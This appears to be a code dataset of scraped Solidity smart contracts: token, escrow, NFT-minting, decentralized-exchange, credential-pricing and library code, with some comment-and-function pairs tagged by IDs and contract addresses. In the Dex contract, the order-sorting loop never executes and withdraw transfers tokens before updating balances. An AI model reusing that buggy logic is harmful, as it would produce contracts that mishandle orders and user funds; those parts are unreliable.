//////////////////////////////////////////////////////// //Transfer tokens from other address function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } //////////////////////////////////////////////////////// //Set allowance for other address function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } //////////////////////////////////////////////////////// //Set allowance for other address and notify function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } //////////////////////////////////////////////////////// //Decide or change box used in game function boxChoice(uint _newBox) public returns (uint) { //for _newBox = 0 assign random boxRand += 1; //count up for even start box assingment if (boxRand > boxMax) { //stop box assignment too high boxRand = 1; //return to box 1 } if (_newBox == 0) { box[msg.sender] = boxRand; //give new random assignment to owner (or this if buying) } else { box[msg.sender] = _newBox; //give new assignment to owner (or this if buying) } BoxChange(msg.sender, _newBox); //let everyone know return (box[msg.sender]); //output to console } //////////////////////////////////////////////////////// //Release the funds for expanding project //Payable to re-top up contract function fundsOut() payable public { require(msg.sender == creator); //only alow creator to take out creator.transfer(this.balance); //take the lot, can pay back into this via different address if wished re-top up } //////////////////////////////////////////////////////// //Used to tweak and update for Game function update(uint _option, uint _newNo, address _newAddress) public returns (string, uint) { require(msg.sender == creator || msg.sender == game); //only alow creator or game to use //change Max Box Choice if (_option == 1) { require(_newNo > 0); boxMax = _newNo; return ("boxMax Updated", boxMax); } //change address of game smart contract if (_option == 2) { game = _newAddress; return ("Game Smart Contract Updated", 1); } } //////////////////////////////////////////////////////// //Destroy tokens function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } //////////////////////////////////////////////////////// //Destroy tokens from other account function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } //////////////////////////////////////////////////////// //For trsnsfering tokens to others using this SC to enure they pay function setEscrowTransfer(address _to, uint _value, uint _price, bool _open) external returns (bool success) { //_to to specify a address who can purchase //_open if anyone can purchase (set _to to any address) //_price is min asking value for full value of tokens //_value is number of tokens available //_to, who will purchase value of tokens _transfer(msg.sender, this, _value); //store _value in this contract userEscrowCount[msg.sender] += 1; var escrowTrade = escrowTransferInfo[msg.sender][userEscrowCount[msg.sender]]; //record transfer option details escrowTrade.value += _value;//add value into retaining store for trade escrowTrade.price = _price; //set asking price escrowTrade.to = _to; //who will purchase escrowTrade.open = _open; //is trade open to all. false = closed. true = open to anyone. escrowCount += 1; escrowTransferList.push(EscrowTfr(msg.sender, userEscrowCount[msg.sender])); Escrow(msg.sender, _value, _price, _open, _to); // This notifies clients about the escrow return (true); //success! } //////////////////////////////////////////////////////// //For purchasing tokens from others using this SC to give trust to purchase function recieveEscrowTransfer(address _sender, uint _no) external payable returns (bool success) { //_sender is person buying from require(escrowTransferInfo[_sender][_no].value != 0); //end if trade already completed box[msg.sender] = this.boxChoice(box[msg.sender]); //assign box number to buyer if (msg.sender == _sender) { _transfer(this, msg.sender, escrowTransferInfo[_sender][_no].value); //put tokens back to sender account escrowTransferInfo[_sender][_no].value = 0; //reset counter for escrow token Escrow(_sender, 0, msg.value, escrowTransferInfo[_sender][_no].open, msg.sender); // This notifies clients about the escrow return (true); } else { require(msg.value >= escrowTransferInfo[_sender][_no].price); //Check _to is Paying Enough if (escrowTransferInfo[_sender][_no].open == false) { require(msg.sender == escrowTransferInfo[_sender][_no].to); //Check _to is the intended purchaser } _transfer(this, msg.sender, escrowTransferInfo[_sender][_no].value); _sender.transfer(msg.value); //Send the sender the value of the trade escrowTransferInfo[_sender][_no].value = 0; //no more in retaining store Escrow(_sender, 0, msg.value, escrowTransferInfo[_sender][_no].open, msg.sender); // This notifies clients about the escrow return (true); //success! } } }
//Giving New Tokens To Buyer must buy whole token when minting new here, but can buy/sell fractions between eachother
function () external payable { } }
14,109,966
./full_match/1/0xeB081aF4d5F943E4cd7031fc8Fb9dc331c98c411/sources/contracts/Uptick721.sol
Custom accessor to create a unique token/
function mintBatch( address[] memory _to, uint256[] memory _tokenIds, string[] memory _tokenURI ) public { checkAuth(); uint256 batchLen = _to.length; for(uint256 i = 0 ;i < batchLen ;i ++){ super._mint(_to[i], _tokenIds[i]); super._setTokenURI(_tokenIds[i], _tokenURI[i]); idCreatorMap[_tokenIds[i]] = _to[i]; } }
3,015,234
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.3; pragma experimental ABIEncoderV2; import '@openzeppelin/contracts/token/ERC20/IERC20.sol'; import '@openzeppelin/contracts/math/SafeMath.sol'; contract Dex { using SafeMath for uint; // for limit orders enum Side { BUY, SELL } struct Token{ bytes32 ticker; address tokenAddress; } struct Order{ uint id; address trader; Side side; bytes32 ticker; uint amount; uint filled; uint price; uint date; } event NewTrade( uint tradeId, uint orderId, bytes32 indexed ticker, address indexed trader1, address indexed trader2, uint amount, uint price, uint date ); address public admin; uint public nextOrderId; uint public nextTradeId; bytes32 public nextTokenId; bytes32 constant DAI = bytes32('DAI'); mapping(bytes32 => Token) public tokens; mapping(address => mapping(bytes32 => uint)) public traderBalances;//trader -> pointer to list of tokens -> balance of each token // order book - uint is cast - 0=buy,1=sell // bytes32 is always the token // each token will have an array of limit orders for buy and an array of limit orders for sell mapping(bytes32 => mapping(uint => Order[])) public orderBook; bytes32[] public tokenList; modifier onlyAdmin(){ require(msg.sender == admin, 'Only Admin can do this'); _; } modifier tokenExists(bytes32 _ticker){ require(tokens[_ticker].tokenAddress != address(0), 'this token does not exist'); _; } modifier tokenIsNotDai(bytes32 _ticker){ require(_ticker != DAI, 'cannot trade DAI'); _; } constructor() public { admin = msg.sender; } function getOrders( bytes32 ticker, Side side) external view returns(Order[] memory) { return orderBook[ticker][uint(side)]; } function getTokens() external view returns(Token[] memory) { Token[] memory _tokens = new Token[](tokenList.length); for (uint i = 0; i < tokenList.length; i++) { _tokens[i] = Token( tokens[tokenList[i]].ticker, tokens[tokenList[i]].tokenAddress ); } return _tokens; } function addToken(bytes32 _ticker, address _tokenAddress) onlyAdmin() external{ tokens[_ticker] = Token(_ticker, _tokenAddress); tokenList.push(_ticker); } // users need to be able to send deposit/withdraw tokens on our exchange function deposit(uint amount, bytes32 ticker) external{ IERC20(tokens[ticker].tokenAddress).transferFrom(msg.sender, address(this),amount); // use the Zeppelin SafeMath functions from now on traderBalances[msg.sender][ticker] = traderBalances[msg.sender][ticker].add(amount); //traderBalances[msg.sender][_ticker] += _amount; } function withdraw(uint amount, bytes32 ticker) tokenExists(ticker) external{ require(traderBalances[msg.sender][ticker] >= amount,'Insufficient tokens for this withdrawal'); IERC20(tokens[ticker].tokenAddress).transfer(msg.sender,amount); traderBalances[msg.sender][ticker] = traderBalances[msg.sender][ticker].sub(amount); //traderBalances[msg.sender][_ticker] -= _amount; } function createLimitOrder(bytes32 ticker, uint amount, uint price, Side side) tokenIsNotDai(ticker) tokenExists(ticker) external{ // trader is going to use DAI to buy tokens, and will sell tokens for DAI // DAI is kept in the traderBalances array just like any other token // even though it is the token used to trade if(side == Side.SELL){ // check the balance of the token that isn't DAI - bail if don't have enough of the tokens on // hand to sell the amount of the limit order require(traderBalances[msg.sender][ticker] >= amount, 'token balance is too low'); }else{ // check the DAI balance - bail if not enough DAI to buy any more tokens require(traderBalances[msg.sender][DAI] >= amount.mul(price), 'DAI balance is too low'); } Order[] storage orders = orderBook[ticker][uint(side)]; orders.push(Order(nextOrderId,msg.sender,side,ticker,amount,0,price,block.timestamp)); // keep the order array sorted using Bubble Sort uint i = orders.length - 1; // start at the bottom of the array while(i < 0){ if(side == Side.BUY && orders[i-1].price > orders[i].price){// BUY stopping condition break; // gets out of while loop } if(side == Side.SELL && orders[i-1].price < orders[i].price){ // SELL stopping condition break; } Order memory tempOrder = orders[i-1]; orders[i-1] = orders[i]; orders[i] = tempOrder; } nextOrderId++; } function createMarketOrder( bytes32 ticker, uint amount, Side side) tokenExists(ticker) tokenIsNotDai(ticker) external { if(side == Side.SELL){ require(traderBalances[msg.sender][ticker] >= amount, 'token balance is too low'); } // get the other side of orders, i.e. if it's a BUY market order, get the list of SELL orders Order[] storage orders = orderBook[ticker][uint(side == Side.BUY ? Side.SELL : Side.BUY)]; uint i; uint remaining = amount; while(i < orders.length && remaining > 0){ //uint available = orders[i].amount - orders[i].filled; uint available = orders[i].amount.sub(orders[i].filled); uint matched = (remaining > available) ? available : remaining; //remaining -= matched; remaining = remaining.sub(matched); //orders[i].filled += matched; orders[i].filled = orders[i].filled.add(matched); emit NewTrade(nextTradeId, orders[i].id, ticker, orders[i].trader, // trader that created order in the orderbook msg.sender, // trader that is buying or selling matched, orders[i].price, block.timestamp); if(side == Side.SELL) { // msg.sender put in the order; his token balance goes down(he sold them) and his DAI goes up traderBalances[msg.sender][ticker] = traderBalances[msg.sender][ticker].sub(matched); traderBalances[msg.sender][DAI] = traderBalances[msg.sender][DAI].add(matched.mul(orders[i].price)); // orders[i].trader is the one with the limit order in the order boot // his tokens go up(he bought them) and his DAI goes down traderBalances[orders[i].trader][ticker] = traderBalances[orders[i].trader][ticker].add(matched); traderBalances[orders[i].trader][DAI] = traderBalances[orders[i].trader][DAI].sub(matched.mul(orders[i].price)); } if(side == Side.BUY) { // the opposite of above // sale may not go thru, msg.sender must have enough DAI to pay for this trade require( traderBalances[msg.sender][DAI] >= matched.mul(orders[i].price), 'dai balance too low for BUY trade' ); traderBalances[msg.sender][ticker] = traderBalances[msg.sender][ticker].add(matched); traderBalances[msg.sender][DAI] = traderBalances[msg.sender][DAI].sub(matched.mul(orders[i].price)); traderBalances[orders[i].trader][ticker] = traderBalances[orders[i].trader][ticker].sub(matched); traderBalances[orders[i].trader][DAI] = traderBalances[orders[i].trader][DAI].add(matched.mul(orders[i].price)); } nextTradeId++; i++; } i = 0; while(i < orders.length && (orders[i].filled == orders[i].amount)){ for(uint j = i; j < orders.length - 1; j++ ) { orders[j] = orders[j + 1]; } orders.pop(); i++; } } }
traderBalances[msg.sender][_ticker] -= _amount;
function withdraw(uint amount, bytes32 ticker) tokenExists(ticker) external{ require(traderBalances[msg.sender][ticker] >= amount,'Insufficient tokens for this withdrawal'); IERC20(tokens[ticker].tokenAddress).transfer(msg.sender,amount); traderBalances[msg.sender][ticker] = traderBalances[msg.sender][ticker].sub(amount); }
12,956,450
./partial_match/1/0x37a1b0f137dC121D9f4Ef88077643504A6c86716/sources/GorvernorAlpha.sol
Admin function for setting the Quorum Percent newQuorum must be greater than the hardcoded min newQuorum new quorum threshold/
function _setQuorumPercent(uint newQuorum) public { require(msg.sender == admin, "AUSCMGovernor::_setQuorumPercent admin only"); require(newQuorum >= MIN_QUORUM_THRESHOLD && newQuorum <= MAX_QUORUM_THRESHOLD, "AUSCMGovernor::_setQuorumPercent: invalid quorum percent"); uint oldQuorumPercent = quorumPercent; quorumPercent = newQuorum; emit QuorumPercentSet(oldQuorumPercent, quorumPercent); }
16,190,244
pragma solidity ^0.4.24; pragma experimental ABIEncoderV2; import "openzeppelin-solidity/contracts/AddressUtils.sol"; import "./CvcPricingInterface.sol"; import "../idv/CvcValidatorRegistryInterface.sol"; import "../ontology/CvcOntologyInterface.sol"; import "../upgradeability/Initializable.sol"; import "../upgradeability/EternalStorage.sol"; import "../upgradeability/Pausable.sol"; import "openzeppelin-solidity/contracts/math/SafeMath.sol"; /** * @title CvcPricing * @dev This contract stores actual prices for Credential Items available for sale. * It allows registered Identity Validators to set or delete prices for specific Credential Items. * * The pricing contract depends on other marketplace contracts, such as: * CvcOntology - to verify that Credential Item is available on the market and can be offered for sale. * CvcValidatorRegistry - to ensure that only registered Identity Validators can use pricing services. * Transactions from unknown accounts will be rejected. */ contract CvcPricing is EternalStorage, Initializable, Pausable, CvcPricingInterface { using SafeMath for uint256; /** Data structures and storage layout: struct Price { uint256 value; bytes32 credentialItemId; address idv; } address cvcOntology; address idvRegistry; uint256 pricesCount; bytes32[] pricesIds; mapping(bytes32 => uint256) pricesIndices; mapping(bytes32 => Price) prices; **/ /// Total supply of CVC tokens. uint256 constant private CVC_TOTAL_SUPPLY = 1e17; /// The fallback price introduced to be returned when credential price is undefined. /// The number is greater than CVC total supply, so it makes it impossible to transact with (e.g. place to escrow). uint256 constant private FALLBACK_PRICE = CVC_TOTAL_SUPPLY + 1; // solium-disable-line zeppelin/no-arithmetic-operations /// As zero price and undefined price are virtually indistinguishable, /// a special value is introduced to represent zero price. /// It equals to max unsigned integer which makes it impossible to transact with, hence should never be returned. uint256 constant private ZERO_PRICE = ~uint256(0); /** * @dev Constructor * @param _ontology CvcOntology contract address. * @param _idvRegistry CvcValidatorRegistry contract address. */ constructor(address _ontology, address _idvRegistry) public { initialize(_ontology, _idvRegistry, msg.sender); } /** * @dev Throws if called by unregistered IDV. */ modifier onlyRegisteredValidator() { require(idvRegistry().exists(msg.sender), "Identity Validator is not registered"); _; } /** * @dev Sets the price for Credential Item of specific type, name and version. * The price is associated with IDV address (sender). * @param _credentialItemType Credential Item type. * @param _credentialItemName Credential Item name. * @param _credentialItemVersion Credential Item version. * @param _price Credential Item price. */ function setPrice( string _credentialItemType, string _credentialItemName, string _credentialItemVersion, uint256 _price ) external onlyRegisteredValidator whenNotPaused { // Check price value upper bound. require(_price <= CVC_TOTAL_SUPPLY, "Price value cannot be more than token total supply"); // Check Credential Item ID to verify existence. bytes32 credentialItemId; bool deprecated; (credentialItemId, , , , , , , deprecated) = ontology().getByTypeNameVersion( _credentialItemType, _credentialItemName, _credentialItemVersion ); // Prevent setting price for unknown credential items. require(credentialItemId != 0x0, "Cannot set price for unknown credential item"); require(deprecated == false, "Cannot set price for deprecated credential item"); // Calculate price ID. bytes32 id = calculateId(msg.sender, credentialItemId); // Register new record (when price record has no associated Credential Item ID). if (getPriceCredentialItemId(id) == 0x0) { registerNewRecord(id); } // Save the price. setPriceIdv(id, msg.sender); setPriceCredentialItemId(id, credentialItemId); setPriceValue(id, _price); emit CredentialItemPriceSet( id, _price, msg.sender, _credentialItemType, _credentialItemName, _credentialItemVersion, credentialItemId ); } /** * @dev Deletes the price for Credential Item of specific type, name and version. * @param _credentialItemType Credential Item type. * @param _credentialItemName Credential Item name. * @param _credentialItemVersion Credential Item version. */ function deletePrice( string _credentialItemType, string _credentialItemName, string _credentialItemVersion ) external whenNotPaused { // Lookup Credential Item. bytes32 credentialItemId; (credentialItemId, , , , , , ,) = ontology().getByTypeNameVersion( _credentialItemType, _credentialItemName, _credentialItemVersion ); // Calculate Price ID to address individual data items. bytes32 id = calculateId(msg.sender, credentialItemId); // Ensure the price existence. Check whether Credential Item is associated. credentialItemId = getPriceCredentialItemId(id); require(credentialItemId != 0x0, "Cannot delete unknown price record"); // Delete the price data. deletePriceIdv(id); deletePriceCredentialItemId(id); deletePriceValue(id); unregisterRecord(id); emit CredentialItemPriceDeleted( id, msg.sender, _credentialItemType, _credentialItemName, _credentialItemVersion, credentialItemId ); } /** * @dev Returns the price set by IDV for Credential Item of specific type, name and version. * @param _idv IDV address. * @param _credentialItemType Credential Item type. * @param _credentialItemName Credential Item name. * @param _credentialItemVersion Credential Item version. * @return bytes32 Price ID. * @return uint256 Price value. * @return address IDV address. * @return string Credential Item type. * @return string Credential Item name. * @return string Credential Item version. */ function getPrice( address _idv, string _credentialItemType, string _credentialItemName, string _credentialItemVersion ) external view onlyInitialized returns ( bytes32 id, uint256 price, address idv, string credentialItemType, string credentialItemName, string credentialItemVersion, bool deprecated ) { // Lookup Credential Item. bytes32 credentialItemId; (credentialItemId, credentialItemType, credentialItemName, credentialItemVersion, , , , deprecated) = ontology().getByTypeNameVersion( _credentialItemType, _credentialItemName, _credentialItemVersion ); idv = _idv; id = calculateId(idv, credentialItemId); price = getPriceValue(id); if (price == FALLBACK_PRICE) { return (0x0, price, 0x0, "", "", "", false); } } /** * @dev Returns the price by Credential Item ID. * @param _idv IDV address. * @param _credentialItemId Credential Item ID. * @return bytes32 Price ID. * @return uint256 Price value. * @return address IDV address. * @return string Credential Item type. * @return string Credential Item name. * @return string Credential Item version. */ function getPriceByCredentialItemId(address _idv, bytes32 _credentialItemId) external view returns ( bytes32 id, uint256 price, address idv, string credentialItemType, string credentialItemName, string credentialItemVersion, bool deprecated ) { return getPriceById(calculateId(_idv, _credentialItemId)); } /** * @dev Returns all Credential Item prices. * @return CredentialItemPrice[] */ function getAllPrices() external view onlyInitialized returns (CredentialItemPrice[]) { uint256 count = getCount(); CredentialItemPrice[] memory prices = new CredentialItemPrice[](count); for (uint256 i = 0; i < count; i++) { bytes32 id = getRecordId(i); bytes32 credentialItemId = getPriceCredentialItemId(id); string memory credentialItemType; string memory credentialItemName; string memory credentialItemVersion; bool deprecated; (, credentialItemType, credentialItemName, credentialItemVersion, , , , deprecated) = ontology().getById(credentialItemId); prices[i] = CredentialItemPrice( id, getPriceValue(id), getPriceIdv(id), credentialItemType, credentialItemName, credentialItemVersion, deprecated ); } return prices; } /** * @dev Returns all IDs of registered Credential Item prices. * @return bytes32[] */ function getAllIds() external view onlyInitialized returns(bytes32[]) { uint256 count = getCount(); bytes32[] memory ids = new bytes32[](count); for (uint256 i = 0; i < count; i++) { ids[i] = getRecordId(i); } return ids; } /** * @dev Contract initialization method. * @param _ontology CvcOntology contract address. * @param _idvRegistry CvcValidatorRegistry contract address. * @param _owner Owner address */ function initialize(address _ontology, address _idvRegistry, address _owner) public initializes { require(AddressUtils.isContract(_ontology), "Initialization error: no contract code at ontology contract address"); require(AddressUtils.isContract(_idvRegistry), "Initialization error: no contract code at IDV registry contract address"); // cvcOntology = _ontology; addressStorage[keccak256("cvc.ontology")] = _ontology; // idvRegistry = _idvRegistry; addressStorage[keccak256("cvc.idv.registry")] = _idvRegistry; // Initialize current implementation owner address. setOwner(_owner); } /** * @dev Returns the price by ID. * @param _id Price ID * @return bytes32 Price ID. * @return uint256 Price value. * @return address IDV address. * @return string Credential Item type. * @return string Credential Item name. * @return string Credential Item version. */ function getPriceById(bytes32 _id) public view onlyInitialized returns ( bytes32 id, uint256 price, address idv, string credentialItemType, string credentialItemName, string credentialItemVersion, bool deprecated ) { // Always return price (could be a fallback price when not set). price = getPriceValue(_id); // Check whether Credential Item is associated. This is mandatory requirement for all existing prices. bytes32 credentialItemId = getPriceCredentialItemId(_id); if (credentialItemId != 0x0) { // Return ID and IDV address for existing entry only. id = _id; idv = getPriceIdv(_id); (, credentialItemType, credentialItemName, credentialItemVersion, , , , deprecated) = ontology().getById(credentialItemId); } } /** * @dev Returns instance of CvcOntologyInterface. * @return CvcOntologyInterface */ function ontology() public view returns (CvcOntologyInterface) { // return CvcOntologyInterface(cvcOntology); return CvcOntologyInterface(addressStorage[keccak256("cvc.ontology")]); } /** * @dev Returns instance of CvcValidatorRegistryInterface. * @return CvcValidatorRegistryInterface */ function idvRegistry() public view returns (CvcValidatorRegistryInterface) { // return CvcValidatorRegistryInterface(idvRegistry); return CvcValidatorRegistryInterface(addressStorage[keccak256("cvc.idv.registry")]); } /** * @dev Returns price record count. * @return uint256 */ function getCount() internal view returns (uint256) { // return pricesCount; return uintStorage[keccak256("prices.count")]; } /** * @dev Increments price record counter. */ function incrementCount() internal { // pricesCount = getCount().add(1); uintStorage[keccak256("prices.count")] = getCount().add(1); } /** * @dev Decrements price record counter. */ function decrementCount() internal { // pricesCount = getCount().sub(1); uintStorage[keccak256("prices.count")] = getCount().sub(1); } /** * @dev Returns price ID by index. * @param _index Price record index. * @return bytes32 */ function getRecordId(uint256 _index) internal view returns (bytes32) { // return pricesIds[_index]; return bytes32Storage[keccak256(abi.encodePacked("prices.ids.", _index))]; } /** * @dev Index new price record. * @param _id The price ID. */ function registerNewRecord(bytes32 _id) internal { bytes32 indexSlot = keccak256(abi.encodePacked("prices.indices.", _id)); // Prevent from registering same ID twice. // require(pricesIndices[_id] == 0); require(uintStorage[indexSlot] == 0, "Integrity error: price with the same ID is already registered"); uint256 index = getCount(); // Store record ID against index. // pricesIds[index] = _id; bytes32Storage[keccak256(abi.encodePacked("prices.ids.", index))] = _id; // Maintain reversed index to ID mapping to ensure O(1) deletion. // Store n+1 value and reserve zero value for not indexed records. uintStorage[indexSlot] = index.add(1); incrementCount(); } /** * @dev Deletes price record from index. * @param _id The price ID. */ function unregisterRecord(bytes32 _id) internal { // Since the order of price records is not guaranteed, we can make deletion more efficient // by replacing record we want to delete with the last record, hence avoid reindex. // Calculate deletion record ID slot. bytes32 deletionIndexSlot = keccak256(abi.encodePacked("prices.indices.", _id)); // uint256 deletionIndex = pricesIndices[_id].sub(1); uint256 deletionIndex = uintStorage[deletionIndexSlot].sub(1); bytes32 deletionIdSlot = keccak256(abi.encodePacked("prices.ids.", deletionIndex)); // Calculate last record ID slot. uint256 lastIndex = getCount().sub(1); bytes32 lastIdSlot = keccak256(abi.encodePacked("prices.ids.", lastIndex)); // Calculate last record index slot. bytes32 lastIndexSlot = keccak256(abi.encodePacked("prices.indices.", bytes32Storage[lastIdSlot])); // Copy last record ID into the empty slot. // pricesIds[deletionIdSlot] = pricesIds[lastIdSlot]; bytes32Storage[deletionIdSlot] = bytes32Storage[lastIdSlot]; // Make moved ID index point to the the correct record. // pricesIndices[lastIndexSlot] = pricesIndices[deletionIndexSlot]; uintStorage[lastIndexSlot] = uintStorage[deletionIndexSlot]; // Delete last record ID. // delete pricesIds[lastIndex]; delete bytes32Storage[lastIdSlot]; // Delete reversed index. // delete pricesIndices[_id]; delete uintStorage[deletionIndexSlot]; decrementCount(); } /** * @dev Returns price value. * @param _id The price ID. * @return uint256 */ function getPriceValue(bytes32 _id) internal view returns (uint256) { // uint256 value = prices[_id].value; uint256 value = uintStorage[keccak256(abi.encodePacked("prices.", _id, ".value"))]; // Return fallback price if price is not set for existing Credential Item. // Since we use special (non-zero) value for zero price, actual '0' means the price was never set. if (value == 0) { return FALLBACK_PRICE; } // Convert from special zero representation value. if (value == ZERO_PRICE) { return 0; } return value; } /** * @dev Saves price value. * @param _id The price ID. * @param _value The price value. */ function setPriceValue(bytes32 _id, uint256 _value) internal { // Save the price (convert to special zero representation value if necessary). // prices[_id].value = (_value == 0) ? ZERO_PRICE : _value; uintStorage[keccak256(abi.encodePacked("prices.", _id, ".value"))] = (_value == 0) ? ZERO_PRICE : _value; } /** * @dev Deletes price value. * @param _id The price ID. */ function deletePriceValue(bytes32 _id) internal { // delete prices[_id].value; delete uintStorage[keccak256(abi.encodePacked("prices.", _id, ".value"))]; } /** * @dev Returns Credential Item ID the price is set for. * @param _id The price ID. * @return bytes32 */ function getPriceCredentialItemId(bytes32 _id) internal view returns (bytes32) { // return prices[_id].credentialItemId; return bytes32Storage[keccak256(abi.encodePacked("prices.", _id, ".credentialItemId"))]; } /** * @dev Saves price Credential Item ID * @param _id The price ID. * @param _credentialItemId Associated Credential Item ID. */ function setPriceCredentialItemId(bytes32 _id, bytes32 _credentialItemId) internal { // prices[_id].credentialItemId = _credentialItemId; bytes32Storage[keccak256(abi.encodePacked("prices.", _id, ".credentialItemId"))] = _credentialItemId; } /** * @dev Deletes price Credential Item ID. * @param _id The price ID. */ function deletePriceCredentialItemId(bytes32 _id) internal { // delete prices[_id].credentialItemId; delete bytes32Storage[keccak256(abi.encodePacked("prices.", _id, ".credentialItemId"))]; } /** * @dev Returns price IDV address. * @param _id The price ID. * @return address */ function getPriceIdv(bytes32 _id) internal view returns (address) { // return prices[_id].idv; return addressStorage[keccak256(abi.encodePacked("prices.", _id, ".idv"))]; } /** * @dev Saves price IDV address. * @param _id The price ID. * @param _idv IDV address. */ function setPriceIdv(bytes32 _id, address _idv) internal { // prices[_id].idv = _idv; addressStorage[keccak256(abi.encodePacked("prices.", _id, ".idv"))] = _idv; } /** * @dev Deletes price IDV address. * @param _id The price ID. */ function deletePriceIdv(bytes32 _id) internal { // delete prices[_id].idv; delete addressStorage[keccak256(abi.encodePacked("prices.", _id, ".idv"))]; } /** * @dev Calculates price ID. * @param _idv IDV address. * @param _credentialItemId Credential Item ID. * @return bytes32 */ function calculateId(address _idv, bytes32 _credentialItemId) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_idv, ".", _credentialItemId)); } }
Index new price record. _id The price ID./ Prevent from registering same ID twice. require(pricesIndices[_id] == 0); Store record ID against index. pricesIds[index] = _id; Maintain reversed index to ID mapping to ensure O(1) deletion. Store n+1 value and reserve zero value for not indexed records.
function registerNewRecord(bytes32 _id) internal { bytes32 indexSlot = keccak256(abi.encodePacked("prices.indices.", _id)); require(uintStorage[indexSlot] == 0, "Integrity error: price with the same ID is already registered"); uint256 index = getCount(); bytes32Storage[keccak256(abi.encodePacked("prices.ids.", index))] = _id; uintStorage[indexSlot] = index.add(1); incrementCount(); }
973,348
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } /** * @title ERC721 interface * @dev see https://github.com/ethereum/eips/issues/721 */ contract ERC721 { event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _tokenId) public view returns (address _owner); function transfer(address _to, uint256 _tokenId) public; function approve(address _to, uint256 _tokenId) public; function takeOwnership(uint256 _tokenId) public; } /** * @title ERC721Token * Generic implementation for the required functionality of the ERC721 standard */ contract ERC721Token is ERC721 { using SafeMath for uint256; // Total amount of tokens uint256 private totalTokens; // Mapping from token ID to owner mapping (uint256 => address) private tokenOwner; // Mapping from token ID to approved address mapping (uint256 => address) private tokenApprovals; // Mapping from owner to list of owned token IDs mapping (address => uint256[]) private ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private ownedTokensIndex; /** * @dev Guarantees msg.sender is owner of the given token * @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender */ modifier onlyOwnerOf(uint256 _tokenId) { require(ownerOf(_tokenId) == msg.sender); _; } /** * @dev Gets the total amount of tokens stored by the contract * @return uint256 representing the total amount of tokens */ function totalSupply() public view returns (uint256) { return totalTokens; } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { return ownedTokens[_owner].length; } /** * @dev Gets the list of tokens owned by a given address * @param _owner address to query the tokens of * @return uint256[] representing the list of tokens owned by the passed address */ function tokensOf(address _owner) public view returns (uint256[]) { return ownedTokens[_owner]; } /** * @dev Gets the owner of the specified token ID * @param _tokenId uint256 ID of the token to query the owner of * @return owner address currently marked as the owner of the given token ID */ function ownerOf(uint256 _tokenId) public view returns (address) { address owner = tokenOwner[_tokenId]; require(owner != address(0)); return owner; } /** * @dev Gets the approved address to take ownership of a given token ID * @param _tokenId uint256 ID of the token to query the approval of * @return address currently approved to take ownership of the given token ID */ function approvedFor(uint256 